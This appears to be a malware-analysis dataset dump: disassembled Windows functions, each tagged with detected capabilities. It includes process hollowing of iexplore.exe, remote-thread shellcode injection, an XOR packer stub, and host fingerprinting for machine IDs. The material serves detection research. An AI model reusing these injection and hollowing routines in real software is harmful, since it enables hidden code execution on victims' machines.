joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d3f
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
or dword [ebp - 4], 0xffffffff
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
cmp edi, ebx
jne 0x403d5d
mov edi, str.C:Program_FilesInternet_Exploreriexplore.exe
push 0x44
lea eax, [ebp - 0x58]
pop esi
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
mov dword [ebp - 0x58], esi
mov esi, dword [ebp + 0xc]
add esp, 0xc
mov dword [ebp - 0x324], 0x10007
mov dword [0x407794], esi
cmp word [esi], 0x5a4d
jne 0x403eea
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [0x407798], eax
cmp dword [eax], 0x4550
jne 0x403eea
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.NtUnmapViewOfSection
push eax
mov dword [0x4077d0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
mov dword [0x4077b0], eax
je 0x403eea
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push ebx
push ebx
push 4
push ebx
push ebx
push ebx
push dword [ebp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x403eea
mov eax, dword [0x407798]
push dword [eax + 0x34]
push dword [ebp - 0x14]
call dword [0x4077b0]
mov eax, dword [0x407798]
push 0x40
push 0x3000
push dword [eax + 0x50]
push dword [eax + 0x34]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
je 0x403eea
mov eax, dword [0x407798]
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push dword [eax + 0x54]
push esi
push dword [eax + 0x34]
push dword [ebp - 0x14]
call edi
test eax, eax
je 0x403eea
mov ecx, dword [0x407798]
mov dword [ebp + 0xc], ebx
cmp word [ecx + 6], bx
jbe 0x403e9c
mov dword [ebp + 8], ebx
mov eax, dword [0x407794]
push ebx
mov eax, dword [eax + 0x3c]
add eax, dword [ebp + 8]
lea eax, [eax + esi + 0xf8]
mov dword [0x40779c], eax
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add edx, esi
add eax, dword [ecx + 0x34]
push edx
push eax
push dword [ebp - 0x14]
call edi
test eax, eax
je 0x403eea
mov ecx, dword [0x407798]
inc dword [ebp + 0xc]
add dword [ebp + 8], 0x28
movzx eax, word [ecx + 6]
cmp dword [ebp + 0xc], eax
jl 0x403e55
lea eax, [ebp - 0x324]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x403eea
mov eax, dword [0x407798]
mov ecx, dword [eax + 0x34]
add ecx, dword [eax + 0x28]
lea eax, [ebp - 0x324]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x274], ecx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x403eea
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x403eea
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4042f6
Capabilities:
Encode data using xor
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
lea eax, [ebp - 4]
mov dword [ebp - 8], 0xbeefdead
push eax
lea eax, [ebp - 0x408]
push eax
mov dword [ebp - 4], 0x400
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
xor ecx, ecx
cmp dword [ebp - 4], ecx
jbe 0x40433f
mov dl, byte [ebp + ecx - 0x408]
mov eax, ecx
and eax, 3
xor byte [ebp + eax - 8], dl
lea eax, [ebp + eax - 8]
inc ecx
cmp ecx, dword [ebp - 4]
jb 0x404325
push dword [ebp - 8]
call fcn.004042ce
pop ecx
leave
ret

Function at 0x40434a
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
push esi
push edi
push 0xa
mov esi, str.SoftwareMicrosoftWindowsCurrentVersion
pop ecx
lea edi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 8]
xor esi, esi
push eax
push 0x20019
lea eax, [ebp - 0x34]
push esi
push eax
push 0x80000002
mov dword [ebp - 4], 0x400
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40438e
xor eax, eax
jmp 0x4043df
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x434]
push eax
push esi
push esi
push str.ProductId
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4043cf
push dword [ebp - 4]
lea eax, [ebp - 0x434]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
add esp, 0xc
mov dword [eax], ecx
push 1
pop esi
jmp 0x4043d4
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
leave
ret
Function at 0x4043e3
Capabilities:
Encode data using xor
Get disk information
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4bc
push esi
push edi
xor edi, edi
lea eax, [ebp - 4]
push edi
push edi
push edi
push edi
push eax
push edi
push edi
push 0x406ec4
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push dword [ebp - 4]
lea eax, [ebp - 0x74]
push 0x406ec0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x4bc]
push eax
call fcn.0040434a
add esp, 0x14
call fcn.004042f6
xor esi, esi
call fcn.004042d8
cdq
mov ecx, 0xff
idiv ecx
inc esi
cmp esi, 0x20
mov byte [ebp + esi - 0x31], dl
jl 0x404431
cmp dword [ebp - 8], edi
je 0x404466
xor ecx, ecx
mov eax, ecx
cdq
idiv dword [ebp - 8]
mov al, byte [ebp + edx - 0x4bc]
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 0x20
jl 0x40444f
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
push 0x24
mov eax, ecx
xor edx, edx
pop esi
div esi
mov al, byte [ebp + edx - 0x54]
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 0x20
jl 0x404472
xor eax, eax
mov ecx, eax
and ecx, 3
mov cl, byte [ebp + ecx - 4]
xor byte [ebp + eax - 0x30], cl
inc eax
cmp eax, 0x20
jl 0x40448b
xor esi, esi
lea edi, [ebp - 0xbc]
movzx eax, byte [ebp + esi - 0x30]
push eax
push str._02x
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
inc esi
inc edi
inc edi
cmp esi, 0x20
jl 0x4044a6
mov esi, dword [ebp + 8]
lea eax, [ebp - 0xbc]
push 0x40
push eax
push esi
call sub.MSVCRT.dll_memcpy
and byte [esi + 0x40], 0
add esp, 0xc
and byte [esi + 0x32], 0
pop edi
pop esi
leave
ret

Function at 0x4044e4
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push esi
push edi
push 0x24
xor eax, eax
pop ecx
lea edi, [ebp - 0x90]
mov dword [ebp - 0x94], 0x94
push 6
rep stosd dword es:[edi], eax
pop esi
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 4
mov eax, dword [ebp - 0x8c]
jne 0x40452b
test eax, eax
jne 0x404563
xor esi, esi
cmp dword [ebp - 0x90], 5
jne 0x40454b
test eax, eax
jne 0x40453b
push 1
pop esi
cmp eax, 1
jne 0x404543
push 2
pop esi
cmp eax, 2
jne 0x404563
push 3
pop esi
cmp dword [ebp - 0x90], 6
jne 0x404563
test eax, eax
jne 0x40455b
push 5
pop esi
cmp eax, 1
jne 0x404563
push 6
pop esi
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x43b656
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x43b3c1
add edi, 1
push edi
pop eax
or eax, eax
call fcn.0043b68f
add eax, 0x51271570
sub edi, 0x5dd99d16
sub edi, edi
xor dword [ecx], esi
add eax, edi
add edi, edi
inc ecx
inc edi
cmp ecx, edx
jne fcn.0043b656
push edi
pop edi
ret
Function at 0x401510
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push edi
push esi
push eax
mov edi, dword [esp + 0x18]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x40
push 0x3000
push edi
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
je 0x40158d
push eax
pop esi
mov eax, dword [esp + 0x14]
mov dword [esp], 0
mov ecx, esp
push ecx
push edi
push eax
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub edi, edi
or eax, eax
je 0x40158f
mov ebx, dword [esp + 0x1c]
push 0
push 0
push esi
push 0x401500
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebx], eax
or eax, eax
je 0x40158f
cmp dword [esp + 0x20], 0
je 0x401589
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, esi
jmp 0x40158f
sub edi, edi
push edi
pop eax
add esp, 4
pop esi
pop edi
pop ebx
ret

Function at 0x401660
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
ret
Function at 0x402020
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ebx, dword [esp + 0x28]
mov ebp, dword [esp + 0x24]
mov eax, dword [ebp + 0x3c]
mov dword [esp], eax
mov esi, dword [ebp + eax + 0x54]
push esi
push ebx
push ebp
call sub.msvcrt.dll_memcmp
add esp, 0xc
or eax, eax
je 0x402073
lea edi, [esp + 0xc]
push edi
push 0x40
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
or eax, eax
je 0x402073
push esi
push ebp
push ebx
call sub.msvcrt.dll_memcpy
add esp, 0xc
push edi
push dword [esp + 0x10]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esp]
movzx eax, word [ebp + eax + 6]
test ax, ax
je 0x402113
push ebp
pop edx
mov ecx, dword [ebp + 0x3c]
add ebp, ecx
add ebp, 0x100
sub esi, esi
jmp 0x4020b9
mov edx, dword [esp + 0x24]
mov eax, dword [esp]
movzx eax, word [edx + eax + 6]
add esi, 1
movzx ecx, ax
add ebp, 0x28
cmp esi, ecx
jae 0x402113
cmp dword [ebp + 0x1c], 0
js 0x4020ac
mov edi, dword [ebp]
mov ebx, dword [ebp + 4]
lea eax, [edx + ebx]
add ebx, dword [esp + 0x28]
push edi
push ebx
mov dword [esp + 0x10], eax
push eax
call sub.msvcrt.dll_memcmp
add esp, 0xc
or eax, eax
je 0x4020a0
lea eax, [esp + 4]
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x4020a0
push edi
push dword [esp + 0xc]
push ebx
call sub.msvcrt.dll_memcpy
add esp, 0xc
lea eax, [esp + 4]
push eax
push dword [esp + 8]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x4020a0
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x402180
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov edi, dword [esp + 0x24]
sub eax, eax
test edi, edi
je 0x402326
mov esi, dword [esp + 0x28]
mov edx, dword [edi + 0x3c]
mov ecx, dword [edx + edi + 0x78]
mov ebx, dword [ecx + edi + 0x1c]
add ebx, edi
cmp esi, 0xffff
ja 0x4021bf
movzx eax, si
sub eax, dword [edi + ecx + 0x10]
add edi, dword [ebx + eax*4]
mov eax, edi
jmp 0x402326
mov esi, dword [edi + ecx + 0x18]
test esi, esi
je 0x402326
mov dword [esp + 4], ebx
mov dword [esp], edx
mov ebx, dword [edi + ecx + 0x20]
add ebx, edi
mov dword [esp + 8], ecx
mov ebp, dword [edi + ecx + 0x24]
add ebp, edi
jmp 0x4021e5
nop
nop
nop
nop
jmp 0x4021ec
nop
jmp 0x4021f0
mov eax, dword [ebx]
add eax, edi
push dword [esp + 0x28]
push eax
call sub.msvcrt.dll_strcmp
add esp, 8
or eax, eax
je 0x402219
add esi, 0xffffffff
add ebx, 4
add ebp, 2
test esi, esi
jne 0x4021f0
xor eax, eax
jmp 0x402326
movzx eax, word [ebp]
mov ecx, dword [esp + 4]
mov esi, dword [ecx + eax*4]
mov eax, dword [esp + 8]
cmp eax, esi
ja 0x402322
mov ecx, dword [esp]
add eax, dword [edi + ecx + 0x7c]
cmp esi, eax
jae 0x402322
add esi, edi
push 0x2e
push esi
call sub.msvcrt.dll_strchr
add esp, 8
push eax
pop edi
add edi, 1
push edi
pop ebp
sub ebp, esi
lea eax, [ebp + 4]
push 2
push eax
call sub.msvcrt.dll_calloc
add esp, 8
test eax, eax
je 0x402212
mov ebx, eax
lea eax, [ebp + 1]
push ebp
push esi
push eax
push ebx
push 0
call dword [sym.imp.msvcrt.dll_mbstowcs_s]
add esp, 0x14
mov eax, dword [0x204803c]
mov dword [ebx + ebp*2], eax
movzx eax, word [0x2048040]
mov word [ebx + ebp*2 + 4], ax
push 4
push 0x2048028
push ebx
call dword [sym.imp.msvcrt.dll__wcsnicmp]
add esp, 0xc
or eax, eax
je 0x4022b9
push 4
push str.ext_
push ebx
call dword [sym.imp.msvcrt.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x402304
lea eax, [esp + 0xc]
push eax
push ebx
push dword [esp + 0x34]
call fcn.00401670
add esp, 0xc
test eax, eax
je 0x402304
mov ebp, eax
push ebx
call sub.msvcrt.dll_free
add esp, 4
mov esi, dword [esp + 0xc]
lea eax, [esi + 1]
push 2
push eax
call sub.msvcrt.dll_calloc
add esp, 8
mov ebx, eax
or eax, eax
pushfd
xor eax, eax
popfd
nop
je 0x402326
add esi, esi
push esi
push ebp
push ebx
call sub.msvcrt.dll_memcpy
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
push edi
push eax
call fcn.00402180
mov esi, eax
push ebx
call sub.msvcrt.dll_free
mov eax, esi
add esp, 4
jmp 0x402326
add esi, edi
mov eax, esi
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret 0xc

Function at 0x402600
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.004033a0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.004033a0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x402660
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
push eax
pop ebx
sub esp, 0x30
mov esi, dword [0x204904c]
or esi, esi
jle 0x402780
mov eax, dword [0x2049050]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x402694
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x402717
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x402680
mov dword [esp], ebx
call fcn.00402ff0
mov edi, eax
test eax, eax
je 0x4027a7
mov eax, dword [0x2049050]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00403100
mov edx, dword [0x2049050]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
or eax, eax
je 0x402787
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x402710
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x402720
add dword [0x204904c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
push 0x40
pop edx
pushal
popal
nop
push 4
nop
pop eax
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x2049050]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
or eax, eax
jne 0x402710
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00402600
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40269e
mov eax, dword [0x2049050]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00402600
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00402600
lea esi, [esi]
nop

Function at 0x402c60
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x2049068
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x2049060]
sub esp, 4
test ebx, ebx
je 0x402cb5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
or eax, eax
jne 0x402cae
or esi, esi
je 0x402cae
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402c90
mov dword [esp], 0x2049068
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4017d0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
xor eax, eax
cmp dword [esp + 0x20], 0
je 0x4018b0
mov ebx, dword [esp + 0x24]
test ebx, ebx
je 0x4018b0
mov ebp, dword [esp + 0x28]
test ebp, ebp
je 0x40181a
mov ecx, 0x1505
xor edi, edi
nop
movzx edx, byte [ebx + edi]
test edx, edx
je 0x401821
mov esi, ecx
shl esi, 5
add esi, ecx
add esi, edx
inc edi
mov ecx, esi
cmp ebp, edi
jne 0x401800
jmp 0x401823
mov esi, 0x1505
jmp 0x401823
mov esi, ecx
mov ecx, dword [esp + 0x20]
mov edi, dword [ecx + 0x20]
mov ebx, edi
sub ebx, 1
jb 0x4018b0
and ebx, esi
mov eax, edi
not eax
and eax, 1
mov edx, edi
and edx, 0xfffffffe
sub edx, eax
mov dword [esp + 8], edx
mov eax, dword [ecx + 4]
mov dword [esp + 4], eax
jmp 0x401854
inc ebx
dec edi
je 0x4018ae
mov eax, ebx
and eax, dword [esp + 8]
mov edx, dword [esp + 4]
mov ebp, dword [edx + eax*4]
cmp ebp, 0xffffffff
je 0x4018ae
mov eax, dword [ecx + 8]
cmp dword [eax + ebp*4], esi
jne 0x401850
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + ebp*4]
mov dword [esp], eax
push eax
call fcn.00408710
mov ecx, dword [esp + 0x24]
add esp, 4
cmp eax, dword [esp + 0x28]
jne 0x401850
push dword [esp + 0x28]
push dword [esp + 4]
push dword [esp + 0x2c]
call fcn.00408740
mov ecx, dword [esp + 0x2c]
add esp, 0xc
test eax, eax
jne 0x401850
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + ebp*4]
jmp 0x4018b0
xor eax, eax
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401d10
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov eax, 0xffffffff
cmp dword [esp + 0x24], 0
je 0x401e14
mov esi, dword [esp + 0x28]
test esi, esi
je 0x401e14
cmp dword [esp + 0x2c], 0
je 0x401e14
push esi
call fcn.00408710
add esp, 4
test eax, eax
je 0x401d7a
mov ecx, 0x1505
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esi + edi]
test edx, edx
je 0x401d81
mov ebx, ecx
shl ebx, 5
add ebx, ecx
add ebx, edx
inc edi
mov ecx, ebx
cmp eax, edi
jne 0x401d60
jmp 0x401d83
mov ebx, 0x1505
jmp 0x401d83
mov ebx, ecx
mov ecx, dword [esp + 0x24]
mov edi, dword [ecx + 0x20]
mov esi, edi
sub esi, 1
jae 0x401e1c
mov ebp, 0xffffffff
mov eax, dword [ecx + 0x18]
cmp eax, dword [ecx + 0x1c]
jb 0x401dd9
call fcn.00401f30
mov ecx, eax
mov eax, 0xffffffff
test ecx, ecx
mov ecx, dword [esp + 0x28]
jne 0x401e14
push ecx
call fcn.00408710
add esp, 4
mov dword [esp], eax
mov ecx, dword [esp + 0x24]
mov edi, dword [ecx + 0x20]
mov esi, edi
sub esi, 1
jae 0x401ea0
mov ebp, 0xffffffff
mov eax, dword [ecx + 0xc]
mov edx, dword [ecx + 0x18]
mov esi, dword [esp + 0x28]
mov dword [eax + edx*4], esi
mov eax, dword [ecx + 4]
mov edx, dword [ecx + 0x18]
mov dword [eax + ebp*4], edx
mov eax, dword [ecx + 0x10]
mov esi, dword [esp + 0x2c]
mov dword [eax + edx*4], esi
mov eax, dword [ecx + 0x14]
mov edx, dword [ecx + 0x18]
mov dword [eax + edx*4], ebp
mov eax, dword [ecx + 8]
mov edx, dword [ecx + 0x18]
mov dword [eax + edx*4], ebx
inc dword [ecx + 0x18]
mov eax, dword [ecx]
mov dword [esi], eax
xor eax, eax
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp], eax
and esi, ebx
mov eax, edi
not eax
and eax, 1
mov edx, edi
and edx, 0xfffffffe
sub edx, eax
mov dword [esp + 8], edx
mov eax, dword [ecx + 4]
mov dword [esp + 4], eax
jmp 0x401e48
inc esi
dec edi
je 0x401d95
mov ebp, esi
and ebp, dword [esp + 8]
mov eax, dword [esp + 4]
mov eax, dword [eax + ebp*4]
cmp eax, 0xffffffff
je 0x401d9a
mov edx, dword [ecx + 8]
cmp dword [edx + eax*4], ebx
jne 0x401e40
mov ecx, dword [ecx + 0xc]
mov ebp, dword [ecx + eax*4]
push ebp
call fcn.00408710
mov ecx, dword [esp + 0x28]
add esp, 4
cmp eax, dword [esp]
jne 0x401e40
push dword [esp]
push ebp
push dword [esp + 0x30]
call fcn.00408740
mov ecx, dword [esp + 0x30]
add esp, 0xc
test eax, eax
jne 0x401e40
mov eax, 0xffffffff
jmp 0x401e14
and esi, ebx
mov eax, edi
not eax
and eax, 1
mov edx, edi
and edx, 0xfffffffe
sub edx, eax
mov dword [esp + 8], edx
mov eax, dword [ecx + 4]
mov dword [esp + 4], eax
jmp 0x401ec8
inc esi
dec edi
je 0x401dd4
mov ebp, esi
and ebp, dword [esp + 8]
mov eax, dword [esp + 4]
mov eax, dword [eax + ebp*4]
cmp eax, 0xffffffff
je 0x401dd9
mov edx, dword [ecx + 8]
cmp dword [edx + eax*4], ebx
jne 0x401ec0
mov ecx, dword [ecx + 0xc]
mov eax, dword [ecx + eax*4]
mov dword [esp + 0xc], eax
push eax
call fcn.00408710
mov ecx, dword [esp + 0x28]
add esp, 4
cmp eax, dword [esp]
jne 0x401ec0
push dword [esp]
push dword [esp + 0x10]
push dword [esp + 0x30]
call fcn.00408740
mov ecx, dword [esp + 0x30]
add esp, 0xc
test eax, eax
jne 0x401ec0
jmp 0x401dd9
Function at 0x402650
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ebp, dword [esp + 0x28]
test ebp, ebp
je 0x4027f6
mov esi, dword [esp + 0x2c]
mov ecx, dword [esp + 0x24]
movzx edi, cx
shr ecx, 0x10
test esi, esi
je 0x4027ef
mov edx, 0x5e6ea9af
mov eax, esi
mul edx
shr edx, 0xb
imul eax, edx, 0x15b0
mov edx, esi
sub edx, eax
jmp 0x4026e5
mov eax, dword [esp]
sub eax, dword [esp + 4]
add ebp, eax
mov esi, dword [esp + 8]
mov eax, edi
mov edx, 0x80078071
mul edx
mov ebx, edx
shr ebx, 0xf
mov eax, ecx
mov edx, 0x80078071
mul edx
imul eax, ebx, 0xfff1
sub edi, eax
shr edx, 0xf
imul eax, edx, 0xfff1
sub ecx, eax
sub esi, dword [esp]
mov edx, 0x15b0
je 0x4027ef
xor ebx, ebx
cmp edx, 8
mov dword [esp], edx
mov dword [esp + 8], esi
jb 0x40275e
mov ebx, edx
and ebx, 0x1ff8
xor eax, eax
nop
nop
nop
mov edx, eax
movzx eax, byte [ebp + eax]
add eax, edi
add ecx, eax
movzx esi, byte [ebp + edx + 1]
add esi, eax
add ecx, esi
movzx eax, byte [ebp + edx + 2]
add eax, esi
add ecx, eax
movzx esi, byte [ebp + edx + 3]
add esi, eax
add ecx, esi
movzx eax, byte [ebp + edx + 4]
add eax, esi
add ecx, eax
movzx esi, byte [ebp + edx + 5]
add esi, eax
add ecx, esi
movzx eax, byte [ebp + edx + 6]
add eax, esi
add ecx, eax
movzx edi, byte [ebp + edx + 7]
add edi, eax
add ecx, edi
lea eax, [edx + 8]
add edx, 0xf
cmp edx, dword [esp]
mov edx, dword [esp]
jb 0x402700
add ebp, eax
mov esi, dword [esp + 8]
mov eax, ebx
sub eax, edx
jae 0x4026ad
mov dword [esp + 0xc], eax
mov eax, edx
and eax, 3
mov dword [esp + 4], ebx
je 0x4027a0
neg eax
xor ebx, ebx
mov edx, ebp
nop
nop
nop
movzx esi, byte [edx]
inc edx
add edi, esi
add ecx, edi
dec ebx
cmp eax, ebx
jne 0x402780
mov eax, dword [esp + 4]
sub eax, ebx
cmp dword [esp + 0xc], 0xfffffffc
ja 0x4026a0
jmp 0x4027af
mov eax, ebx
mov edx, ebp
cmp dword [esp + 0xc], 0xfffffffc
ja 0x4026a0
mov ebx, dword [esp]
sub ebx, eax
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [edx + eax]
add esi, edi
add ecx, esi
movzx edi, byte [edx + eax + 1]
add edi, esi
add ecx, edi
movzx esi, byte [edx + eax + 2]
add esi, edi
add ecx, esi
movzx edi, byte [edx + eax + 3]
add edi, esi
add ecx, edi
add eax, 4
cmp ebx, eax
jne 0x4027c0
jmp 0x4026a0
shl ecx, 0x10
or ecx, edi
jmp 0x4027fb
mov ecx, 1
mov eax, ecx
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret